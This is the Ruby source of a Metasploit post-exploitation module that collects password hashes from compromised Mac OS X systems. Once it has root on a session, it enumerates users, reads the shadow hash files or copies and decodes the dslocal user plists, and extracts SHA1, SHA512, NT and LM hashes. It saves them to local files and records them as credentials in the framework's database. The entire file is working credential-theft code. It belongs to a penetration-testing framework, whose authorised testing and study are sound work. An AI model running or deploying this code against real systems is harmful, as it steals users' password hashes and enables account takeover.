metasploit-framework/modules/post/osx/gather/hashdump.rb

257 lines
7.4 KiB
Ruby
Raw Normal View History

##
# $Id$
##
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'OS X Gather Mac OS X Password Hash Collector',
'Description' => %q{
This module dumps SHA1, LM and NT Hashes of Mac OS X Tiger, Leopard and Snow Leopard Systems.
},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>','hammackj <jacob.hammack[at]hammackj.com>'],
'Version' => '$Revision$',
'Platform' => [ 'osx' ],
'SessionTypes' => [ "shell" ]
))
end
# Run Method for when run command is issued
def run
case session.type
when /meterpreter/
host = session.sys.config.sysinfo["Computer"]
when /shell/
host = session.shell_command_token("hostname").chomp
end
print_status("Running module against #{host}")
running_root = check_root
if running_root
print_status("This session is running as root!")
end
ver_num = get_ver
log_folder = log_folder_create()
if running_root
print_status("Saving files with hashes in #{log_folder} and Database")
dump_hash(log_folder,ver_num)
else
print_error("Insufficient Privileges you must be running as root to dump the hashes")
end
end
# Function for creating the folder for gathered data
def log_folder_create(log_path = nil)
#Get hostname
case session.type
when /meterpreter/
host = Rex::FileUtils.clean_path(session.sys.config.sysinfo["Computer"])
when /shell/
host = Rex::FileUtils.clean_path(session.shell_command_token("hostname").chomp)
end
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'logs', "enum_osx", host + filenameinfo )
else
logs = ::File.join(Msf::Config.log_directory, "post", "enum_osx", host + filenameinfo )
end
# Create the log directory
::FileUtils.mkdir_p(logs)
return logs
end
# Checks if running as root on the target
def check_root
# Get only the account ID
case session.type
when /shell/
id = session.shell_command_token("/usr/bin/id -ru").chomp
when /meterpreter/
id = cmd_exec("/usr/bin/id","-ru").chomp
end
if id == "0"
return true
else
return false
end
end
# Enumerate the OS Version
def get_ver
# Get the OS Version
case session.type
when /meterpreter/
osx_ver_num = cmd_exec("/usr/bin/sw_vers", "-productVersion").chomp
when /shell/
osx_ver_num = session.shell_command_token("/usr/bin/sw_vers -productVersion").chomp
end
return osx_ver_num
end
# Dump SHA1 Hashes used by OSX, must be root to get the Hashes
def dump_hash(log_folder,ver_num)
print_status("Dumping Hashes")
users = []
host,port = session.tunnel_peer.split(':')
case session.type
when /meterpreter/
users_folder = cmd_exec("/bin/ls","/Users")
when /shell/
users_folder = session.shell_command_token("/bin/ls /Users")
end
users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/
users << u.chomp
end
# Path to files with hashes
nt_file = ::File.join(log_folder,"nt_hash.txt")
lm_file = ::File.join(log_folder,"lm_hash.txt")
sha1_file = ::File.join(log_folder,"sha1_hash.txt")
# Process each user
users.each do |user|
if ver_num =~ /10\.(6|5)/
case session.type
when /meterpreter/
guid = cmd_exec("/usr/bin/dscl", "localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
when /shell/
guid = session.shell_command_token("/usr/bin/dscl localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
end
elsif ver_num =~ /10\.(4|3)/
case session.type
when /meterpreter/
guid = cmd_exec("/usr/bin/niutil","-readprop . /users/#{user} generateduid").chomp
when /shell/
guid = session.shell_command_token("/usr/bin/niutil -readprop . /users/#{user} generateduid").chomp
end
elsif ver_num =~ /10\.(7)/
require 'rexml/document'
hash_decoded = ""
profiles = cmd_exec("ls /private/var/db/dslocal/nodes/Default/users").split("\n")
if profiles
profiles.each do |p|
next if p =~ /^_/
next if p =~ /^daemon|root|nobody/
cmd_exec("cp /private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/")
cmd_exec("plutil -convert xml1 /tmp/#{p.chomp}")
file = cmd_exec("cat /tmp/#{p.chomp}")
doc = REXML::Document.new(file)
hash_text = doc.elements.to_a("///array")[2].elements["data"].text.gsub("\n\t\t","")
hash_text.unpack('m')[0].each_byte do |b|
hash_decoded << sprintf("%02X", b)
end
user = p.scan(/(\S*)\.plist/)
sha512 = hash_decoded.slice(104..213)
nt_hash = hash_decoded.slice(214..249)
print_status("SHA512:#{user}:#{sha512}")
file_local_write(sha1_file,"#{user}:#{sha512}")
report_auth_info(
:host => host,
:port => 0,
:sname => 'sha512',
:user => user,
:pass => sha512,
:active => false
)
if nt_hash !~ /000000000000000/
print_status("NT:#{user}:#{nt_hash}")
file_local_write(nt_file,"#{user}:#{nt_hash}")
report_auth_info(
:host => host,
:port => 445,
:sname => 'smb',
:user => user,
:pass => nt_hash,
:active => true
)
end
end
end
return
end
# Extract the hashes
case session.type
when /meterpreter/
sha1_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c169-216").chomp
nt_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c1-32").chomp
lm_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c33-64").chomp
when /shell/
sha1_hash = session.shell_command_token("/bin/cat /var/db/shadow/hash/#{guid} | cut -c169-216").chomp
nt_hash = session.shell_command_token("/bin/cat /var/db/shadow/hash/#{guid} | cut -c1-32").chomp
lm_hash = session.shell_command_token("/bin/cat /var/db/shadow/hash/#{guid} | cut -c33-64").chomp
end
# Check that we have the hashes and save them
if sha1_hash !~ /00000000000000000000000000000000/
print_status("SHA1:#{user}:#{sha1_hash}")
file_local_write(sha1_file,"#{user}:#{sha1_hash}")
report_auth_info(
:host => host,
:port => 0,
:sname => 'sha1',
:user => user,
:pass => sha1_hash,
:active => false
)
end
if nt_hash !~ /000000000000000/
print_status("NT:#{user}:#{nt_hash}")
file_local_write(nt_file,"#{user}:#{nt_hash}")
report_auth_info(
:host => host,
:port => 445,
:sname => 'smb',
:user => user,
:pass => nt_hash,
:active => true
)
end
if lm_hash !~ /0000000000000/
print_status("LM:#{user}:#{lm_hash}")
file_local_write(lm_file,"#{user}:#{lm_hash}")
report_auth_info(
:host => host,
:port => 445,
:sname => 'smb',
:user => user,
:pass => lm_hash,
:active => true
)
end
end
end
end